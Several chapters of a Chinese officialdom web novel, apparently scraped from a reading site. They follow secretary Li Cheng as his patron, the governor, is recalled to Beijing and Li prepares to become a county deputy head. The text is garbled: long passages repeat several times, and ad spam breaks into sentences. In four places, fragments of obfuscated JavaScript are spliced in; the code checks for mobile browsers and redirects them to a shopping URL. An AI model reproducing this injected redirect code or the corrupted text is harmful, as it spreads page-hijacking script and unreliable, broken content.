雷二利顺利逃脱警方的包围圈。 但对此,**厅已经做出了他逃跑的准备,为了抓捕雷二利,警方制定了多个计划。 雷二利这次逃跑较为匆忙,在全城封锁,天网排查下,雷二利的行踪很快发现。 但为了防止雷二利做出什么危害公共安全的事情,警方特意放他逃出了城区。 在多方联动下,将雷二利堵截在国道之上。 雷二利进行了殊死反抗,想要靠汽车闯过关卡,但四个轮子在闯过穿刺路障时,全部爆胎。 汽车也失控跌到了两侧沟渠中。 雷二利能在这条江湖上混得风生水起,他身上带着一抹狠劲儿和决绝。 他不仅对别人狠,对自己也足够狠。 在知道不可能逃脱后,他拿出了他的私藏**,选择了以自尽的方式,结束他的一生。 对于警方来说,没能抓到活口,这是非常遗憾的一件事。 但对于雷二利和他背后势力,以及身边人来说,这是一个非常明确的选择。 雷二利死后,警方开始对他的住所进行搜查,并破译了他的手机。 对雷二利的涉黑团伙其余人,进行了一次大规模的清洗活动! 扫黑的风暴,席卷了整个汉江,雷二利死后,压抑许久的大规模清算,正式开始! 所以,警方并没有提前布防。 雷二利顺利逃脱警方的包围圈。 但对此,**厅已经做出了他逃跑的准备,为了抓捕雷二利,警方制定了多个计划。 雷二利这次逃跑较为匆忙,在全城封锁,天网排查下,雷二利的行踪很快发现。 但为了防止雷二利做出什么危害公共安全的事情,警方特意放他逃出了城区。 在多方联动下,将雷二利堵截在国道之上。 雷二利进行了殊死反抗,想要靠汽车闯过关卡,但四个轮子在闯过穿刺路障时,全部爆胎。 汽车也失控跌到了两侧沟渠中。 雷二利能在这条江湖上混得风生水起,他身上带着一抹狠劲儿和决绝。 他不仅对别人狠,对自己也足够狠。 在知道不可能逃脱后,他拿出了他的私藏**,选择了以自尽的方式,结束他的一生。 对于警方来说,没能抓到活口,这是非常遗憾的一件事。 但对于雷二利和他背后势力,以及身边人来说,这是一个非常明确的选择。 雷二利死后,警方开始对他的住所进行搜查,并破译了他的手机。 对雷二利的涉黑团伙其余人,进行了一次大规模的清洗活动! 扫黑的风暴,席卷了整个汉江,雷二利死后,压抑许久的大规模清算,正式开始! 第280章 岗位落实 周一的**会议上,一共提议了两个人事任命。 汉江****张建军退居二线,分管国资委、工信、商务的副省长谢威,接替他的位置。 成为新任汉江****,进省委**。 **厅长鲁林,成功打击雷二利涉黑集团,晋升省部级(副职),兼任副省长一职。 两个人事任命,统统得到了孟良德与马洪波的支持,以大票数的优势通过。 周三,孟良德回到了京城。 全省工作,由常务副省长徐铁生暂时接替。 文件还没下来,但李承很清楚,孟良德这次回京城,就是办理回京任职的流程。 孟良德离开了东江省,李承的工作也闲暇了下来。 甚至连需要他经手的文件都没有。 “李秘书,陈处长叫你去办公室一趟。 李薇儿走了进来,语气淡漠的对李承说。 往常,她都会走到李承面前,身体前倾,故意将她引以为傲的胸脯露出大半。 态度也十分谄媚,一口一个承哥叫着,给人一种勾引的感觉。 但这次,她的态度很冷漠,站得远远的,好像生怕跟李承有什么关系似的。 “没时间,有什么事情让他来见我。李承随意看着一个文件,目光只是轻扫了她一眼。 “李秘,我劝你还是去一趟,就别摆官架子了,没了省长秘书的岗位,以后在综合一处,你得看陈处长的脸色。 李薇儿轻哼一声。 曾经她百般献媚,李承却从不回应,这让她早就对李承不满了。 以前是碍于李承的身份,现在,孟良德回京任职的消息已成定论,她也没什么忌惮的了。 对于李薇儿的言论,李承置之不理,装出一副没听见的样子。 李薇儿等了几秒,看对方不理睬,气愤地离开了秘书间。 没一会儿。 陈墨冷着脸走了进来,李薇儿跟在他身后,手里还捧着厚厚一沓文件。 “李秘书,你是综合一处的一份子,我作为处长,叫你过去不好使吗? 陈墨冷冷地问。 “我只是挂职,你们综合一处管不了我。李承收起文件,目光直视对方。 “孟省长要回京了,你就别摆架子了,人要认清楚现实,以后你还是要在综合一处工作的。 陈墨得到的小道消息里,孟良德是被以吕崇山为首的本地派搞走的。 属于是落荒而逃。 而李承 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,则成为了他眼里的丧家之犬。 他认为,未来李承顶多是在综合一处当个副处长,属于他手底下的兵。 李承应该巴结他才对。 可李承还是摆出一副高高在上的样子,这让他十分不满。 “呵呵. 李承轻笑一声,戏谑地盯着他:“你找我什么事,在这说吧。 孟良德已经给李承安排好了去处。 他要离开汉江了,又何必给陈墨什么面子。 “你作为综合一处的一份子,处内有很多工作需要你来分担呀。 政府里不养闲人,你总不能在这干坐着吧。 陈墨说完,给李薇儿递了一个眼神过去。 李薇儿会意,将那沓资料放在了李承的办公桌上。 “李秘书,这些资料需要整理入档,你也别闲着了,下班之前都给我整理出来。陈墨吩咐道。 闻言,李承嘴角泛起一抹冷笑。 他看着陈墨,眼神中带着戾气:“陈墨,你算哪根葱啊,有什么资格给我安排工作! 按照工作分配,李承是省长秘书,也的工作只是围绕省长的工作开展。 综合一处的其他事务,跟他也没半点关系。 陈墨给他安排的这些工作,就是觉得李承没靠山了,在欺负人! “你什么态度!你以为你还是省长大秘呀,认清点现实吧,说难听点,你就是一条丧家之犬! 陈墨指着李承,呵斥道。 李承为人正直,对待工作一丝不苟。 像他这种人,是在官场里最不受人待见的那种。 而李承代理综合一处处长时,因为陈墨是秦海和张俊的亲信,对他并不信任。 这也导致陈墨对李承一直都很有偏见。 现在,孟良德要调任回京,他找到了出气的机会。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198218|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“陈墨,你在说什么? 没等李承回答,一道冷厉的声音从陈墨身后响起。 陈墨回过头,看到是秘书长杨兆华走了进来。 “秘书长,我看李秘书现在比较闲,就想让他帮忙分担一些处内的工作。 陈墨尴尬地解释道。 李承和杨兆华的关系有多近,陈墨并不清楚。 在他眼里,相比于李承,他跟杨兆华的关系更近一些,毕竟,他这个综合一处处长,就是杨兆华帮他拿下的。 “你有资格吗? “啊? 陈墨以为,杨兆华会向着 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 他讲话,没想到对方却直接开口质问他。 这让陈墨愣了一下,不知如何回答。 “什么时候,李秘书归你们综合一处管了?”杨兆华再次质问。 “秘书长,我” 陈墨低下头,不敢回答。 “把你这些文件都给我搬出去!” “好,好的秘书长。” 在杨兆华的厉声呵斥下,陈墨快步走到李承办公桌前,灰溜溜地将资料搬了出去。 看着老领导给自己撑腰,李承向杨兆华投去一个笑容。 他站起身,给杨兆华倒了一杯水,笑呵呵地问:“老领导,有什么吩咐吗?” “正好路过,听到你这边有声音,就过来看看。” 杨兆华喝了一口水,关心地问:“老孟这次回京,他给你安排好去处了吗?” 他了解孟良德的为人,知道对方一定会给李承找好退路。 “嗯,可能要去下面县镇工作。”李承道。 “离开汉江?”杨兆华诧异道。 “对。” 见李承点头,杨兆华沉默了两秒,说:“离开汉江也好,这里的环境不利于你的发展。” 孟良德在任期间,触碰到了很多人的利益,他也担心会对李承有影响。 “唉这在省政府里,可就没人陪你并肩作战了。”李承叹了口气,调侃道。 “以后说不定还有机会,保不准哪天我调任到你所在的城市,继续给你当领导呢,哈哈哈.” 第281章 节目换人 下周一。 孟良德的调任文件下来了,他也回到汉江,办理工作交接。 除了办理交接之外,孟良德也将李承的工作确定了下来。 省长提名,对于一个贫困县的副县长岗位,组织部方面也不会回绝。 即便孟良德要离开了,但这位省部级(正职)领导的面子,大家还是要给的。 “老板,今晚您有其他安排吗?我想请您吃个饭。” 跟在孟良德身边这么久,他明天就要离开东江了,李承想为孟良德办一个欢送宴。 “今晚跟老马谈一下工作问题,等以后有机会的。”孟良德婉拒道。 “好。” 李承微微点头,继续道:“老板,我上次听嫂子说,您岳父很喜欢我们家里做的火腿,我又给您家里邮寄了一份。” “嗯,你有心了。” 孟良德点燃一根香烟:“我岳父在川蜀当兵时,他有一个战友,每次回家都会带火腿。 他说,那是他这辈子吃过最好吃的火腿。 这些年很多朋友也送了一些过来,都没有那个味道,只有你送的,很合适他的口味。” 对于沈老爷子现在的地位来说,什么山珍海味已经是**以为常。 能让他流连的,只有少年时的味道。 吃的不只是味道,而是一种回忆! “这是情怀的味道,您岳父应该是一个念旧重情的人。”李承说。 “呵呵呵” 对于李承的奉承,孟良德不置可否地笑了笑,转移了话题:“明天还有一件事情要麻烦你。” “您吩咐。” “明天你送娇娇去一趟容城,帮她把入职办理好,跟老石说一声,让她关照一下。”孟良德说。 孟良德是一个很有责任心的人。 他离开后,把娇娇和李承这几个人身边人的工作都已经安排好了。 可对待娇娇,李承觉得自己这位老板,关照得很特殊,过于细心了些。 “嗯,您放心。”李承答应。 他察觉到了孟良德和娇娇之间的特殊情愫,所以,对待娇娇他一定会格外上心。 给领导办私事,这是拉进与领导关系的最佳机会! 下班后,李承回到了家。 打开房门,李承看到许梦正坐在沙发上,一副六神无主的样子。 “宝宝,你今天休息吗?” 正常情况,这个时间许梦应该在省电视台准备录制《晚间新闻》。 “老 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 公” 看到李承回来她直接扑进了他的怀里一副委屈巴巴的样子。 “怎么了?受什么委屈了吗?” 李承伸手抚摸着许梦的秀发关心地问。 “我不是《晚间新闻》的主持人了就连《东江问政》的主持台里也给撤掉了。 现在赖台长又让我从到以前的岗位主持深夜节目。” 许梦楚楚可怜地哭诉着。 这对许梦来说如同从天堂掉进了地狱。 前几天她还是省电视台风光无限的一姐是全民新闻女神。 可转眼间她又成为了角落里最不起眼的那个。 “都怪我不好我就应该听你的不去发天湖庄园的澄清视频。 台里说我是在激化政府和民众的矛盾给了我这个处分.老公你跟赖台长关系不错你能不能帮我跟他说说情。” 许梦泪汪汪的大眼睛看着李承这是她最后一线希望。 闻言李承苦笑着摇了摇头。 “不是你的问题是我的问题这群人都是见人下菜碟。” 李承很清楚许梦的遭遇跟许梦发的那条视频没关系。 就算许梦不发那条视频赖八法也有几百种理由让许梦离开那个岗位。 欲加之罪何患无辞? 李承不是省长的秘书了《晚间新闻》和《东江问政》这两个重量级节目就不可能给到许梦。 这一点 听到李承的话许梦有些费解。 “老板的调任文件下来了他要回京任职了组织部也找我谈过话我下周就要去风林县。” 今天这些消息才落实下来。 李承也如实告知给了许梦。 “啊?那以后我们就要异地了是吗?” 李承早就给许梦打过提前量她也有所准备。 可当这件事发生时许梦仍然难以接受心里说不上的难受。 “嗯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198219|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李承点头。 “好吧。” 许梦失落地点了下头。 她在纠结。 她想辞职去陪李承却舍不得省电视台的高薪工作。 这对于许梦来说是一次较大的人生变动。 现在她和李承的工资加在一起每个月有三万多块钱的固定工资。 这些钱足够他们小两口在汉江过得安逸美满。 可如果她辞职去了县城生活开支压力全部到了李承一个人身 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 上。 她的自媒体事业虽然还不错。 发布了那条澄清视频后,又收获了一些粉丝的青睐。 可是,她的网红事业,全部是基于主持人这个身份。 她每天录制的素材,走的路线,也都与主持人工作相关。 没了这个工作,她就要改变风格和方向,她没有底气能继续把网红事业发展光大。 “那等你稳定了,我就辞职过去陪你。”许梦思考了很久,最终下定决心。 “关系到你的事业,你好好考虑一下,没关系的,就算我们异地,我也尽量每周末回来陪你。” 李承笑了笑。 李承在自己的人生选择中,没有选择留在汉江做明月新区的发改委副局长。 他也不会强求许梦一定要去风林县陪她。 每个人都有自己的选择。 哪怕因为自己要调任,许梦提出分手,李承也不会责怪许梦。 “我想好了,我会辞职,有没有工作,有没有钱都不要紧,能在你身边就行。” 许梦紧紧抱着李承,发自内心地说:“我爱你,我只想在你身边。” “我也爱你。” 李承亲吻了下许梦的额头:“想吃什么,我们去吃饭。” “吃火锅!” 两个人去到了最初相似的那家火锅店。 那是李承和许梦第一次约会,也是这段爱情开始的地方,那里,充满了他们两个人的美好回忆。 吃过饭,李承开车将许梦送到省电视台,她还要主持深夜节目。 许梦刚下车,李承看到了一个熟悉的身影走了出来,赖八法! 第282章 送别 许梦对赖八法有怨气,她在路过赖八法身边时,都没有打招呼。 赖八法也不介意,朝着停车场的方向走去。 “赖台长!” 李承拉开车门,下了车,喊住了对方。 赖八法停顿住脚步,转头看向了李承:“李处长。” 说话时,他朝着李承走了过来。 “李处长,您抽根烟。” 赖八法对待李承的态度,仍然是客气的。 并没有因为李承即将离开省长秘书的岗位,而有变化。 李承接过香烟,从口袋里拿出火机点燃:“现在《晚间新闻》和《东江问政》归谁主持了?” “额《晚间新闻》是曲静主持,《东江问政》是王安冉和林晓彤交替主持。” 赖八法尴尬地笑了一下,解释说。 “王安冉是王耀儒的女儿吧?” 其他两个人,李承没听说过。 但王安冉李承见过一面,是一个刚入职,没什么经验的小姑娘。 “是。”赖八法点头。 “她的专业能力,够吗?” 李承吸了一口烟,感受着夜晚的春风。 “唉领导打了招呼,没办法。” 赖八法无奈地摇了摇头:“像许梦这种专业素养高,又深受民众喜爱的主持人不多。 李处长,我也不想这么安排,我都不敢想换了主持人,节目播出后那些观众们会怎么骂我们呢。 可我没办法呀,以前您的身份还能压得住,许梦可以拿到好资源。 现在” 换掉许梦,不是赖八法的个人想法。 作为台长,他也希望节目收视率可以稳步提升。 许梦担任这两个节目期间,效果史无前例的好,他希望这份好效果可以稳住。 可领导打了招呼,面子不能不给。 “知道你也不容易。” 李承伸手拍了拍赖八法的肩膀。 赖八法原以为李承是来质问他的,没想到李承这么善解人意,他的情绪也缓和了些。 “但你给她调回深夜档,是不是有些刁难了?” 突然,李承话锋一转。 脸上虽带着笑容,这声音却是冰冷的。 闻言,赖八法的身体僵硬了一下。 他朝着李承身边走近了一步,压低声音:“不是我刁难,是有人叫我这么做的。” “谁?”李承皱眉。 “这个我不能讲,可能过段时间,你会知道。 ” “知道了。” 李承也没追问。 自从孟良德卸任省长一职后,他见过了很多人情冷暖。 很多人变脸如翻书。 赖八法算是相对客气的了。 有领导要安排,对方要保密,情理之中,李承想问也问不出来。 次日。 李承早早来到了迎宾馆。 孟良德是上午十点的飞机,李承想的是,在孟良德离开汉江之前,再陪他去东兴面馆吃碗面。 ‘咚咚咚’ 李承敲响房门,半分钟后,房门才缓缓拉开。 开门的是娇娇,她情绪很低落。 “小李,怎么来这么早?” 孟良德的行李已经收拾好了,他坐在沙发上,正在戴手表。 “我想您上飞机之前,再陪您去吃一碗东兴面馆。”李承说。 “嗯,也好。” 孟良德采纳了李承的建议:“不知道下次什么时候,还能吃到那一口了。” 孟良德从沙发上站起身,他看了一眼腕表上的时间:“你出去等我一下。” “好,那我到外面等您。” 李承拿起孟良德的行李,快步离开了房间。 在路过娇娇身边时,李承看到她的目光一直停留在孟良德身上,满眼的不舍。 眼眶也红润了起来。 如果说,她们之间没有特殊感情在,李承不信。 他走出房间,关闭了房门,等孟良德和娇娇一个单独告别的空间。 李承将行李放在专车的后备箱,站在车外面等待。 十几分钟后,孟良德走了出来。 李承给他拉开车门,待到孟良德上车后,李承坐进副驾驶:“王师傅,去东兴面馆。” 吃过面,李承见孟良德送到机场。 “小李,去了风林县,一定要把经济搞起来,别让风林老百姓错过这次翻身的红利,也别给我丢人!” 孟良德拍了拍李承的肩膀,半开玩笑地叮嘱道:“要是搞不起来,别怪我以后不认你这个秘书,呵呵呵.” “老板您放心,我一定不会让您失望。”李承重重点了下头。 “嗯,回去吧。” 孟良德收回手,眼神复杂。 “我送您。” 目送孟良德进了安检,直到他的身影在李承视线里消失了许久,李承这才收回目光,转身朝外走去。 他的心情无比复杂。 几分不舍,几分感激,几 分憧憬. 走出航站楼,暖阳照耀在李承身上,他整理好心情,脸上挤出一抹笑容,迎着阳光,大步向前。 ‘我已经很幸运了,未来,只要肯努力,一定会更好!’ 这是李承心里的独白。 他从工作至今,认识三位贵人,每一位都给他的仕途带来了改变。 一位是审计局的宋姐,那是她的引路人。 是在李承最孤单,最贫困时期,给她温暖和帮助的人。 第二位是杨兆华。 杨兆华是李承的伯乐,他发现了李承的为人和能力,愿意带着李承进步,给李承机会。 还将李承引荐给了孟良德做秘书。 第三位就是孟良德。 跟在孟良德身边,李承学会了很多,也得到了很多。 他的仕途人生,是因孟良德而有了飞跃性的进展! 这三位,都是李承感激的人。 回到迎宾馆,李承敲响了房门。 ‘咚咚咚’ 许久后,娇娇打开了房门,她眼泪汪汪地看着李承,眼睛里遍布血丝。 看来,她似乎动了真感情。 “东西收拾好了吗?我送你去蓉城。”李承没有关心娇娇的情绪。 尤其是在确定,孟良德跟娇娇可能更深度地‘交流’时,李承更要对她敬而远之。 保持情感上的疏离,给予对方帮助,这是与娇娇最好的相处方式。 “收拾好了。” 娇娇转身回到她的保姆间,去取行李。 李承也跟她一起走了进去,帮她拿东西。 当李承弯下身,去拿地上的行李包时,整个人愣了一下,他的目光停顿在房间内的垃圾桶里. 分憧憬. 走出航站楼,暖阳照耀在李承身上,他整理好心情,脸上挤出一抹笑容,迎着阳光,大步向前。 ‘我已经很幸运了,未来,只要肯努力,一定会更好!’ 这是李承心里的独白。 他从工作至今,认识三位贵人,每一位都给他的仕途带来了改变。 一位是审计局的宋姐,那是她的引路人。 是在李承最孤单,最贫困时期,给她温暖和帮助的人。 第二位是杨兆华。 杨兆华是李承的伯乐,他发现了李承的为人和能力,愿意带着李承进步,给李承机会。 还将李承引荐给了孟良德做秘书。 第三位就是孟良德。 跟在孟良德身边,李承学会了很多,也得到了很多。 他的仕途人生,是因孟良德而有了飞跃性的进展! 这三位,都是李承感激的人。 回到迎宾馆,李承敲响了房门。 ‘咚咚咚’ 许久后,娇娇打开了房门,她眼泪汪汪地看着李承,眼睛里遍布血丝。 看来,她似乎动了真感情。 “东西收拾好了吗?我送你去蓉城。”李承没有关心娇娇的情绪。 尤其是在确定,孟良德跟娇娇可能更深度地‘交流’时,李承更要对她敬而远之。 保持情感上的疏离,给予对方帮助,这是与娇娇最好的相处方式。 “收拾好了。” 娇娇转身回到她的保姆间,去取行李。 李承也跟她一起走了进去,帮她拿东西。 当李承弯下身,去拿地上的行李包时,整个人愣了一下,他的目光停顿在房间内的垃圾桶里. 分憧憬. 走出航站楼,暖阳照耀在李承身上,他整理好心情,脸上挤出一抹笑容,迎着阳光,大步向前。 ‘我已经很幸运了,未来,只要肯努力,一定会更好!’ 这是李承心里的独白。 他从工作至今,认识三位贵人,每一位都给他的仕途带来了改变。 一位是审计局的宋姐,那是她的引路人。 是在李承最孤单,最贫困时期,给她温暖和帮助的人。 第二位是杨兆华。 杨兆华是李承的伯乐,他发现了李承的为人和能力,愿意带着李承进步,给李承机会。 还将李承引荐给了孟良德做秘书。 第三位就是孟良德。 跟在孟良德身边,李承学会了很多,也得到了很多。 他的仕途人生,是因孟良德而有了飞跃性的进展! 这三位,都是李承感激的人。 回到迎宾馆,李承敲响了房门。 ‘咚咚咚’ 许久后,娇娇打开了房门,她眼泪汪汪地看着李承,眼睛里遍布血丝。 看来,她似乎动了真感情。 “东西收拾好了吗?我送你去蓉城。”李承没有关心娇娇的情绪。 尤其是在确定,孟良德跟娇娇可能更深度地‘交流’时,李承更要对她敬而远之。 保持情感上的疏离,给予对方帮助,这是与娇娇最好的相处方式。 “收拾好了。” 娇娇转身回到她的保姆间,去取行李。 李承也跟她一起走了进去,帮她拿东西。 当李承弯下身,去拿地上的行李包时,整个人愣了一下,他的目光停顿在房间内的垃圾桶里. 分憧憬. 走出航站楼,暖阳照耀在李承身上,他整理好心情,脸上挤出一抹笑容,迎着阳光,大步向前。 ‘我已经很幸运了,未来,只要肯努力,一定会更好!’ 这是李承心里的独白。 他从工作至今,认识三位贵人,每一位都给他的仕途带来了改变。 一位是审计局的宋姐,那是她的引路人。 是在李承最孤单,最贫困时期,给她温暖和帮助的人。 第二位是杨兆华。 杨兆华是李承的伯乐,他发现了李承的为人和能力,愿意带着李承进步,给李承机会。 还将李承引荐给了孟良德做秘书。 第三位就是孟良德。 跟在孟良德身边,李承学会了很多,也得到了很多。 他的仕途人生,是因孟良德而有了飞跃性的进展! 这三位,都是李承感激的人。 回到迎宾馆,李承敲响了房门。 ‘咚咚咚’ 许久后,娇娇打开了房门,她眼泪汪汪地看着李承,眼睛里遍布血丝。 看来,她似乎动了真感情。 “东西收拾好了吗?我送你去蓉城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198220|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”李承没有关心娇娇的情绪。 尤其是在确定,孟良德跟娇娇可能更深度地‘交流’时,李承更要对她敬而远之。 保持情感上的疏离,给予对方帮助,这是与娇娇最好的相处方式。 “收拾好了。” 娇娇转身回到她的保姆间,去取行李。 李承也跟她一起走了进去,帮她拿东西。 当李承弯下身,去拿地上的行李包时,整个人愣了一下,他的目光停顿在房间内的垃圾桶里. 分憧憬. 走出航站楼,暖阳照耀在李承身上,他整理好心情,脸上挤出一抹笑容,迎着阳光,大步向前。 ‘我已经很幸运了,未来,只要肯努力,一定会更好!’ 这是李承心里的独白。 他从工作至今,认识三位贵人,每一位都给他的仕途带来了改变。 一位是审计局的宋姐,那是她的引路人。 是在李承最孤单,最贫困时期,给她温暖和帮助的人。 第二位是杨兆华。 杨兆华是李承的伯乐,他发现了李承的为人和能力,愿意带着李承进步,给李承机会。 还将李承引荐给了孟良德做秘书。 第三位就是孟良德。 跟在孟良德身边,李承学会了很多,也得到了很多。 他的仕途人生,是因孟良德而有了飞跃性的进展! 这三位,都是李承感激的人。 回到迎宾馆,李承敲响了房门。 ‘咚咚咚’ 许久后,娇娇打开了房门,她眼泪汪汪地看着李承,眼睛里遍布血丝。 看来,她似乎动了真感情。 “东西收拾好了吗?我送你去蓉城。”李承没有关心娇娇的情绪。 尤其是在确定,孟良德跟娇娇可能更深度地‘交流’时,李承更要对她敬而远之。 保持情感上的疏离,给予对方帮助,这是与娇娇最好的相处方式。 “收拾好了。” 娇娇转身回到她的保姆间,去取行李。 李承也跟她一起走了进去,帮她拿东西。 当李承弯下身,去拿地上的行李包时,整个人愣了一下,他的目光停顿在房间内的垃圾桶里. 分憧憬. 走出航站楼,暖阳照耀在李承身上,他整理好心情,脸上挤出一抹笑容,迎着阳光,大步向前。 ‘我已经很幸运了,未来,只要肯努力,一定会更好!’ 这是李承心里的独白。 他从工作至今,认识三位贵人,每一位都给他的仕途带来了改变。 一位是审计局的宋姐,那是她的引路人。 是在李承最孤单,最贫困时期,给她温暖和帮助的人。 第二位是杨兆华。 杨兆华是李承的伯乐,他发现了李承的为人和能力,愿意带着李承进步,给李承机会。 还将李承引荐给了孟良德做秘书。 第三位就是孟良德。 跟在孟良德身边,李承学会了很多,也得到了很多。 他的仕途人生,是因孟良德而有了飞跃性的进展! 这三位,都是李承感激的人。 回到迎宾馆,李承敲响了房门。 ‘咚咚咚’ 许久后,娇娇打开了房门,她眼泪汪汪地看着李承,眼睛里遍布血丝。 看来,她似乎动了真感情。 “东西收拾好了吗?我送你去蓉城。”李承没有关心娇娇的情绪。 尤其是在确定,孟良德跟娇娇可能更深度地‘交流’时,李承更要对她敬而远之。 保持情感上的疏离,给予对方帮助,这是与娇娇最好的相处方式。 “收拾好了。” 娇娇转身回到她的保姆间,去取行李。 李承也跟她一起走了进去,帮她拿东西。 当李承弯下身,去拿地上的行李包时,整个人愣了一下,他的目光停顿在房间内的垃圾桶里. 分憧憬. 走出航站楼,暖阳照耀在李承身上,他整理好心情,脸上挤出一抹笑容,迎着阳光,大步向前。 ‘我已经很幸运了,未来,只要肯努力,一定会更好!’ 这是李承心里的独白。 他从工作至今,认识三位贵人,每一位都给他的仕途带来了改变。 一位是审计局的宋姐,那是她的引路人。 是在李承最孤单,最贫困时期,给她温暖和帮助的人。 第二位是杨兆华。 杨兆华是李承的伯乐,他发现了李承的为人和能力,愿意带着李承进步,给李承机会。 还将李承引荐给了孟良德做秘书。 第三位就是孟良德。 跟在孟良德身边,李承学会了很多,也得到了很多。 他的仕途人生,是因孟良德而有了飞跃性的进展! 这三位,都是李承感激的人。 回到迎宾馆,李承敲响了房门。 ‘咚咚咚’ 许久后,娇娇打开了房门,她眼泪汪汪地看着李承,眼睛里遍布血丝。 看来,她似乎动了真感情。 “东西收拾好了吗?我送你去蓉城。”李承没有关心娇娇的情绪。 尤其是在确定,孟良德跟娇娇可能更深度地‘交流’时,李承更要对她敬而远之。 保持情感上的疏离,给予对方帮助,这是与娇娇最好的相处方式。 “收拾好了。” 娇娇转身回到她的保姆间,去取行李。 李承也跟她一起走了进去,帮她拿东西。 当李承弯下身,去拿地上的行李包时,整个人愣了一下,他的目光停顿在房间内的垃圾桶里. 第283章 分别 在垃圾桶里有一个白顶黑底的药盒上面写的是:屈螺酮炔雌醇片。 这个药李承熟悉许梦每天都在服用这个药。 娇娇看到李承目光停顿位置立马意识到了自己的失误。 她连忙放下手中的行李将垃圾袋封了起来:“太匆忙了忘记换了。” “嗯。” 李承没有多言拿起她的行李朝外走去。 将娇娇的行李全部搬上高尔夫李承开着车两人朝蓉城开去。 三个小时后汽车驶入蓉城高速口。 李承拿起手机拨通了石山水的电话。 ‘嘟嘟..嘟.’ ‘对不起您拨打的电话暂时无人接听请稍后再拨.’ 李承没有继续打二十分钟后汽车到达了恺奥医疗门口李承再次打去一通电话。 ‘嘟嘟..嘟.’ ‘对不起您拨打的电话暂时无人接听请稍后再拨.’ “可能在忙等等吧。” 石山水是董事长他的工作繁忙不接电话也属正常。 “李秘书会不会是他看孟省长回京任职了不准备聘用我了。”娇娇情绪低落地说。 人走茶凉的道理 “不会放心吧。” 李承摇了摇头宽慰她的同时也认真提醒了一句:“到时候不要跟任何人提起你和孟省长之前的关系你是我表妹明白吗?” “嗯我知道我不会给孟省长惹麻烦的。”娇娇眼神忧郁地答应道。 ‘我的爱如潮水爱如潮水’ 两个人在大门口等了半个小时左右石山水的电话才回拨过来。 “李老弟不好意思呀我刚才进实验室了。”石山水解释道。 进入实验室是不允许带手机的李承能理解。 “石哥您现在方便吗?我们到您公司门口了。”李承说。 “方便你开进来就行我在行政楼等你。” “好。” 李承将汽车开到正门前等待保安的放行。 石山水那边打过招呼保安在确认李承的身份后抬杆放行。 李承陪同孟良德来过一次恺奥医疗视察知道行政楼的位置。 下了车李承带着娇娇走进一楼大厅。 石山水已经等候在此热情地跟李承打招呼:“李老弟来了。” “嗯石哥给你介绍一下这个就是我妹妹陈娇娇。”李 你的朋友正在书荒,快去帮帮他吧 承将娇娇介绍给石山水。 “石总您好。” 娇娇冲他微微鞠躬,问好。 “你好。” 石山水点了下头,说:“很不错的姑娘,一打眼就是做销售的人才,你们还没吃饭呢吧,先去吃饭,然后再办入职。” “饭已经吃过了,就不麻烦石哥了,一会儿我还要回汉江。” 现在是下午两点,已经过了吃饭的时间。 “那行。” 石山水目光转向身旁的秘书,吩咐道:“小杨,你带这位姑娘办理一下入职手续,销售二部的主管。” “好的石总。” 杨秘书答应一声,冲娇娇做出请的手势:“这边请。” “李老弟,我们去办公室等一下吧。”石山水邀请道。 “好。” 来到石山水办公室,两个人相对而坐。 石山水沏了一壶好茶,给李承倒了一杯,问:“听说老孟回京城了,你呢?” “我要调任到风林县了。”李承端起茶杯,说。 “风林县是有名的穷困县,怎么给你调任到那里去了?老孟安排的?” 石山水眉头一挑,有些不可置信。 他对政府给风林县的红利政策并不知情。 在他印象里,风林县就是一个贫困县,经济发展甚至不如汉江的一个镇子。 给李承调到那种穷乡僻壤,怕是没有出头日。 “您可能有所不知,风林县紧靠苏原省,能享受到产业迁移的红利,省委省政府很看重风林县的发展。”李承解释道。 “哦哦。” 闻言,石山水想明白了孟良德的良苦用心:“你去那边最低也应该是副县长吧?” “嗯,副县长,兼任产业园区的管委会主任,主抓这次产业迁移项目。” 李承没有任何隐瞒。 官商相处,即便没有利益瓜葛,也要让对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 